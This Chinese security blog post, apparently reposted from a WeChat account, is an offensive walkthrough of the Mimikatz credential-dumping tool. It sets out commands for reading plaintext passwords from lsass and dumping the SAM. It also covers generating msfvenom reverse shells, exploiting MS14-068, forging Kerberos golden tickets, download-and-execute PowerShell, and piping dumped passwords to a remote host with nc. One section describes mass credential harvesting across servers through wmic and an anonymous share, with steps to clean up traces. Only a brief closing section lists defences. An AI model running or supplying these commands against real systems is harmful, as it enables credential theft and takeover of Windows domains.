Mimikatz获取系统密码攻防研究

admin 2023年5月30日00:45:24评论20 views字数 13048阅读43分29秒阅读模式

   Mimikatz法国人benjamin开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取WindowsXP-2012操作系统的明文密码闻名于渗透测试,可以说是渗透必备工具,从早期1.0版本到现在的2.1.1 20180205版本功能得到了很大的提升扩展Mimikatz最新版本一共个文件mimilib.dllmimikatz.exemimidrv.sys),分为Win32位(多了一个mimilove.exe文件)和X64位。通过它们可以提升进程权限注入进程读取进程内存,可以直接从lsass中获取当前登录过系统用户的账号明文密码,lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在lsass内存中,经过其wdigest和tspkg两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中,而mimikatz正是通过对lsass的逆算获取到明文密码!本文mimikatz最新版为,介绍了mimikatz的参数、获取密码以及伪造黄金票据获取域控密码等用户,利用ms14-068结合mimikatz获取域控密码等,最后文中还给出了相应的防范方法,对网络攻防都具有一定的借鉴意义。

1.1.1下载及安装

   最新版下载地址:https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180205/mimikatz_trunk.zip

   下载解压缩即可,里面分为Win32和X64Win32针对Windows32位,而X64是针对64位操作系统,目前绝大部分操作系统为64位(支持大内存的使用。其相关资源:

1个人bloghttp://blog.gentilkiwi.com/

2最新版本:https://github.com/gentilkiwi/mimikatz/releases

3github库:https://github.com/gentilkiwi/mimikatz

1.1.2使用参数详解

    本次测试使用Win32版本,将程序解压后,通过cmd进入当前目录,执行mimikatz程序,如图1所示,随便输入即可获取帮助信息。

Mimikatz获取系统密码攻防研究

1显示帮助信息

1.基本命令

 1exit退出mimikatz

2cls清除当前屏幕。

3answer对生命、宇宙和万物的终极问题的回答.

4coffee显示coffee图案。

5sleep默认睡眠1000ms后跟时间参数。

6log:记录mimikatz所有的输入和输出到当前目录下的log.txt文件

7base64:将输入/输出转换成base64编码。

8version查看mimikatz的版本

9cd:切换或者显示当前目录。

10)localtime:显示系统当前时间和UTC时间。

11)hostname:显示主机的名称

2.使用模块

输入“::”显示其支持模块信息。

1)standard标准模块,基本命令,不需要模块信息。

2crypto 加密模块其后跟以下参数,其使用命令为crypto::参数名例如crypto::providers,如图2所示。

Mimikatz获取系统密码攻防研究

 

2参考加密算法提供类型及名单

providers  -该命令列出所有CryptoAPI提供者

stores  -  列出系统存储中的逻辑存储,crypto::stores /systemstore:local_machine

certificates  -  显示或者导出证书

keys  -  列出或者显示密钥

sc  -  此命令列出系统上的智能卡/令牌读取器或将其移出系统。当CSP可用时,它会尝试在智能卡上列出密钥。

hash  - 显示当前用户的的哈希LMNTLM、md5、sha1、sha2)计算值

system  -  描述windows系统证书 (,注册表或者hive文件)

scauth  -  从CA创建一个认证(智能卡等)

certtohw  -尝试将软件CA导出到加密(虚拟)硬件中。

capi  -修补CryptoAPI程序方便导出。

cng  - 修补CNG服务方便导出

extract  -CAPI RSA/AES 提供者获取密钥

3sekurlsa 枚举用户凭证

sekurlsa::msv  -  获取LM & NTLM 凭证,可以获取明文密码

sekurlsa::wdigest  -  获取 WDigest 凭证,可以获取明文密码

sekurlsa::kerberos  -  获取Kerberos 凭证

sekurlsa::tspkg  -  获取 TsPkg 凭证

sekurlsa::livessp  - 获取LiveSSP 凭证

sekurlsa::ssp  - 获取凭证

sekurlsa::logonPasswords获登陆用户信息及密码如果是在系统权限或者psexec进入系统权限下,直接使用该命令,而无需运行privilege::debug否则需要运行该命令。

sekurlsa::process  -  切换或者恢复到lsass初始状态

sekurlsa::minidump  -  切换或者恢复到minidump初始状态

sekurlsa::pth  -  Pass-the-hash

sekurlsa::krbtgt  -  krbtgt!

sekurlsa::dpapisystem  - 显示DPAPI_SYSTEM密码

sekurlsa::tickets  -  显示Kerberos票据

sekurlsa::ekeys  -  显示Kerberos加密密钥

sekurlsa::dpapi  -  显示内存中MasterKeys

sekurlsa::credman  -  显示管理员凭证

4kerberos  -  Kerberos 包模块 

5privilege  - 特权模块

Privilege::debug  -  请求调试权限

Privilege::driver  -  请求装载驱动权限

Privilege::security  - 请求安全权限

Privilege::tcb  -  请求tcb权限

Privilege::backup  - 请求backup权限

Privilege::restore  -  请求恢复权限

Privilege::sysenv  -  请求系统环境权限

Privilege::id  -  请求id特权,参数后跟具体的id值。例如请求特权8privilegeid 8

Privilege::name  -  请求指定名称的权限

6process进程模块

process::list  -  列出进程

process::exports  - 导出进程列表

process::imports  - 导入进程列表

process::start  -  开始一个进程后跟进程名称

process::stop  -  终止一个进程process::stop /pid:1692(结束pid1692进程)

process::suspend  - 挂起一个进程

process::resume  -  恢复一个进程

process::run  -  运行一个进程

7service  -  Service module

service::start  -  开始服务

service::remove  - 移除服务

service::stop  -  停止服务

service::suspend  -  暂停服务

service::resume  -  恢复服务

service::preshutdown  - 预关闭服务

service::shutdown  -  关闭服务

service::list  -  列出服务

service::+  -安装mimikatz服务

service::-  - 卸载mimikatz服务

8lsadump  -  LsaDump module

Lsadump::sam  -  该命令转储安全帐户管理器(SAM)数据库。它包含用户密码的NTLM,有时包含LM哈希。

在线命令提升模式获取:

privilege::debug

token::whoami

token::elevate

lsadump::sam

离线获取

通过以下方式备份SYSTEM&SAM配置:

reg save HKLMSYSTEM SystemBkup.hiv

reg save HKLMSAM SamBkup.hiv

或者使用Volue Shadow Copy / BootCD来备份这些文件:

C:WindowsSystem32configSYSTEM

C:WindowsSystem32configSAM

然后执行mimikatz # lsadump::sam SystemBkup.hiv SamBkup.hiv即可获取。

http://www.objectif-securite.ch/en/ophcrack.phphttp://www.cmd5.com/在线进行破解查询。

Lsadump::secrets registry或者hives获取保存的密码凭据,可以直接获取明文密码。

Lsadump::cache  获取内存密码

Lsadump::lsa lsa服务器获取密码。lsadump::lsa /inject /name:krbtgt

Lsadump::trust  -  Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fbackupkeys    rpdata

Lsadump::dcsync  -  Ask a DC to synchronize an object

Lsadump::dcshadow  -  They told me I could be anything I wanted, so I became a domain controller

Lsadump::setntlm  -  Ask a server to set a new password/ntlm for one user

Lsadump::changentlm  -  Ask a server to set a new password/ntlm for one user

Lsadump::netsync  -  Ask a DC to send current and previous NTLM hash of DC/SRV/WKS

9ts 终端服务模块

ts::sessions 显示当前的会话

ts::multirdp 允许多个用户使用rdp安装rdp补丁。

10)event事件模块

event::drop 启用事件补丁服务,不再记录新产生的事件

event::clear 清除时间日志。

11)misc 杂项模块,打开cmd, regedit, taskmgr, ncroutemon, detours, wifi, addsid, memssp, skeleton

12)token  -令牌操作模块

token::whoami  -  显示当前的身份

token::list  -  列出系统所有的令牌

token::elevate  - 冒充令牌

token::run  -  运行

token::revert  -  恢复到进程令牌

13)vault  -  Windows信任/凭证模块Vault::list列出Windows信任/凭证

14)net 显示usergroupalias sessionwsessiontodstatsshareserverinfo  等信息

1.1.3mimikatz获取密码

1.旧版本配合psexec密码获取方法及命令

1)到tools目录。psexec \127.0.0.1 cmd

2)执行mimikatz

3)执行 privilege::debug

4)执行 inject::process lsass.exe sekurlsa.dll

5)执行@getLogonPasswords

6)widget就是密码

7exit退出,不要直接关闭否则系统会崩溃。

2.bat脚本获取法

1创建get.bat脚本

@echo off

mimikatz.exe <command.txt >pass.txt

exit

(2)创建command.txt文件

privilege::debug

inject::process lsass.exe sekurlsa.dll   

@getLogonPasswords

Exit

3)执行get.bat文件即可获取密码,pass.txt记录的即为获取的密码,get.batcommand.txtmimikatz.exe同一个文件夹下。

2.mimikatz2.0以上版本获取系统明文密码

1sekurlsa获取

privilege::debug

sekurlsa::logonpasswords

2Lsadump获取密码

Lsadump::secrets

3.利用ms14-068漏洞进行攻击

(1)生成[email protected]票据

ms14-068.py -u [email protected] -p venus123@ -s S-1-5-21-1825629200-489098874-1280338471-1104 -d admin.com

2导入票据

mimikatz kerberos::ptc c:/[email protected]

1.1.4使用ps1批量获取windows密码

Windows2008及以上操作系统中执行命令:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

注意获取密码的计算机必须能够访问raw.githubusercontent.com网络,也可以将该ps文件下载到其他地址,然后替换后执行。脚本目前在win2014中只能获取NTLM值,无法获取明文密码如图3所示。

Mimikatz获取系统密码攻防研究

 

3通过ps脚本获取密码值

1.1.5MSF下mimikatz获取密码

1.需要生成一个反弹的可执行程序或者通过漏洞直接获取一个反弹的shell。下面是通过msfvenom生成shell:

1Linuxmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

2Windowsmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

3Macmsfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

4PHPmsfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

5aspmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

6JSPmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

7WARmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Scripting Payloads

8Pythonmsfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

9Bashmsfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

10)Perlmsfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

11)Linux Based Shellcodemsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

12)Windows Based Shellcodemsfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

13)Mac Based Shellcodemsfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

   架构中比较好用的有两个cmd/powershell_base64x86/shikata_ga_nai下面生成一个实例(反弹的服务器IP为192.168.106.133):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.106.133 LPORT=4444 -f exe > shell.exe

2. 运行msfconsole并设置

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.106.133

set lport 4444

run或者exploit

3.在测试计算机上运行exe文件

4.在msf获取反弹的shell,如图5所示。

1getuid 获取当前帐号为系统权限,则进行后续操作,否则通过ps命令去获取小于1000以内的pid,执行migrate pid来提升权限,继续执行后续步骤。

2load mimikatz

3运行mimikatz下面的凭证获取命令

  kerberos   获取网络认证协议凭证,其中可能会有明文密码

  msv        获取msv 凭证,其中包含LMNTLM哈希密码值

  wdigest    获取wdigest 摘要式身份验证凭证,其中可能会有明文密码

4还可以执行hashdump来导出系统的哈希密码

1.1.6使用Mimikatz伪造Kerberos黄金票据

域控test.local例子mimikatz在c:test目录下。

1.导出krbtgt的Hash

在域控上执行通过mimkatz输出:

mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"

找到如下信息:

/domain:test.local

/sid:S-1-5-21-4155807533-921486164-2767329826

/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f

2、生成Golden Ticket

伪造的用户设置为god,执行:

mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god /ticket:gold.kirbi"

生成文件gold.kirbi

3、伪造Golden Ticket获得域控权限,导入Golden Ticket,执行如下命令:

kerberos::ptt c:testgold.kirbi

1.1.7ms14_068获取域控密码

1. 利用ms14_068漏洞获取域控权限

目前网上有python脚本的利用方法,其下载地址:https://github.com/bidord/pykek,具体方法如下:

1)获取SID

方法1:wmic useraccount where name="USERNAME" get sid

方法2:whoami /all 或者whoami /user  本机可以直接查出自己的SID; 例如获取SID值为:S-1-5-21-3314867233-3443566213-336233174-500

2)生成tgt文件

ms14-068.py -u [email protected] -s S-1-5-21-3314867233-3443566213-336233174-500-d DC2. antian365.local

在当前命令目录生成一个 TGT_ antian365@ antian365.local.ccache文件,将该文件复制到mimikatz目录。

3)导入tgt文件

mimikatz.exe log "kerberos::ptc TGT_ antian365@ antian365.local.ccache" exit

4)查看获取域控权限

net use \DC2. antian365.localadmin$    //注:使用IP可能会失败

dir \DC2. antian365.localc$

5klist查看票据,klist仅仅在win2008以上可以查看。

2.MSF漏洞模块利用

1使用ms14_068模块

use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

set DOMAIN DEMO.LOCAL

set PASSWORD antian365

set USER antian365

set USER_SID S-1-5-21-3314867233-3443566213-336233174-500

set RHOST WIN-T.demo.local

run

生成一个形如time_default_ip_windows.kerberos_num.bin的文件

2导入bin文件

kerberos::clist "time_default_ip_windows.kerberos_num.bin" /export/

保存[email protected]文件

3使用生成的kirbi

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 172.16.158.1

exploit

getuid

load mimikatz

kerberos_ticket_use /tmp/0-00000000- [email protected]

background

sessions

4获取域控权限

use exploit/windows/local/current_user_psexec

set TECHNIQUE PSH

set RHOSTS WIN-T.demo.local

set payload windows/meterpreter/reverse_tcp

set lhost 172.16.158.1

set SESSION 1

exploit

getuid

1.1.8 mimikatz使用技巧

1. 获取并记录密码到mimikatz.log文件

mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords "" exit && dir

2.输出到本地log.txt文件

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> log.txt

3.记录新密码到文件

有时候获取的哈希是旧的,这需要记录新的登录哈希值,可以使用以下命令来记录,记录的结果在c:windowssystem32mimilsa.log

mimikatz.exe

privilege::debug

misc::memssp

4.通过nc命令将mimikatz执行结果传输到远程

1结果服务器192.168.106.145执行监听命令

nc -vlp 44444

2想获取密码的服务器上执行

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords "" exit | nc.exe -vv 192.168.106.145 4444

5通过nc命令远程执行mimikatz

1黑客反弹计算机192.168.106.145)上执行

nc.exe -vlp  4444

2被攻击计算机192.168.106.130)上执行

nc.exe -vv 192.168.106.145 4444 -e mimikatz.exe

接着就会反弹到192.168.106.1454444端口,出来一个cmd的窗口,可以在该窗口进行密码获取,如图4所示。

Mimikatz获取系统密码攻防研究

 

4nc反弹执行命令

6.批量获取域控密码

通常在域渗透的时候,我们可能想要获得更多的密码,针对server08以后的服务器获取ntds.dit的hash以后还不一定能破解出来,所以可以通过Mimikatz来获取明文密码,但是一台一台登陆去获取会很慢且不方便,所以这里介绍一个批量的方法:

1)创建共享文件夹:

cd

mkdir open

net share open=C:open /grant:everyone,full

icacls C:open /grant Everyone:(OI)(CI)F /t

修改注册表

reg change HKLMSystemCurrentControlSetservicesLanmanServerParameters NullSessionShares REG_MULTI_SZ open

reg change HKLMSystemCurrentControlSetControlLsa "EveryoneIncludesAnonymous" 1

修改共享目录到open。

2)在共享目录添加下列文件:

1)执行脚本powershellme.cmd,脚本内容:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.11:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \192.168.1.11open%COMPUTERNAME%.txt 2>&1

ip是设置共享的主机ip地址。

2)Invoke-Mimikatz.ps1

3)mongoose

4)服务器列表serverlist.txt,换行分割。

3)运行mongoose,默认开启端口8080

4)执行wmic:

wmic /node:@serverlist.txt process call create "\192.168.1.11openpowershellme.cmd"

带凭证:

wmic /node:@serverlist.txt /user:PROJECTMENTORevi1cg /password:123 process call create "\192.168.1.11openpowershellme.cmd"

5)在共享目录看各个服务器的密码吧。

6)清除记录:

1)关掉mongoose,并删除

2)net share open /delete

3)删除共享目录及文件

4)修改注册表

PS:可以使用如下命令开启PowerShell remoting:

psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d powershell.exe "enable-psremoting -force"

1.1.9linux版本的mimikatz密码获取工具mimipenguin

1. mimipenguin

mimikatz的Linux平台仿造版本mimipenguin(由@HunterGregal开发)mimipenguin需要root权限运行,通过检索内存、/etc/shadow文件等敏感区域查找信息进行计算,从而提取出系统明文密码。软件下载地址:https://github.com/huntergregal/mimipenguin下载后运行mimipenguin.sh即可,如图5所示。

Mimikatz获取系统密码攻防研究

 

5linux下直接获取密码

2.支持版本

Kali 4.3.0 (rolling) x64 (gdm3)

Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)

Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)

XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)

Archlinux x64 Gnome 3 (Gnome Keyring 3.20)

OpenSUSE Leap 42.2 x64 (Gnome Keyring 3.20)

VSFTPd 3.0.3-8+b1 (Active FTP client connections)

Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions) [Gcore dependency]

openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)

1.1.10安全防范mimikatz获取密码

   参考作者及网上安全防范方法主要有以下三个方法:

1.用户被添加到保护用户组。将域控升级到Active Directory 2012 R2功能级别然后重要用户添加到保护用户组。

2.安装KB2871997补丁程序

3.修改注册表键值

HKEY_LOCAL_MACHINESystemCurrentControlSetControlSecurityProvidersWdigest新建UseLogonCredential值,其类型为Dword32位类型,值0即可。

 

参考文章:

https://evi1cg.me/archives/Get_Passwords_with_Invoke-Mimikatz.html

https://www.cnblogs.com/backlion/p/8127868.html

--------------------------------
Mimikatz获取系统密码攻防研究
欢迎关注玄魂工作室
------------


扫码加活动群秘书,回复“安全”进入活动群,参与抽奖活动,赢取大奖

Mimikatz获取系统密码攻防研究

使用Ophcrack破解系统Hash密码

使用winlogonhack获取系统密码

原文始发于微信公众号(玄魂工作室):Mimikatz获取系统密码攻防研究

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月30日00:45:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Mimikatz获取系统密码攻防研究https://cn-sec.com/archives/783198.html

发表评论

匿名网友 填写信息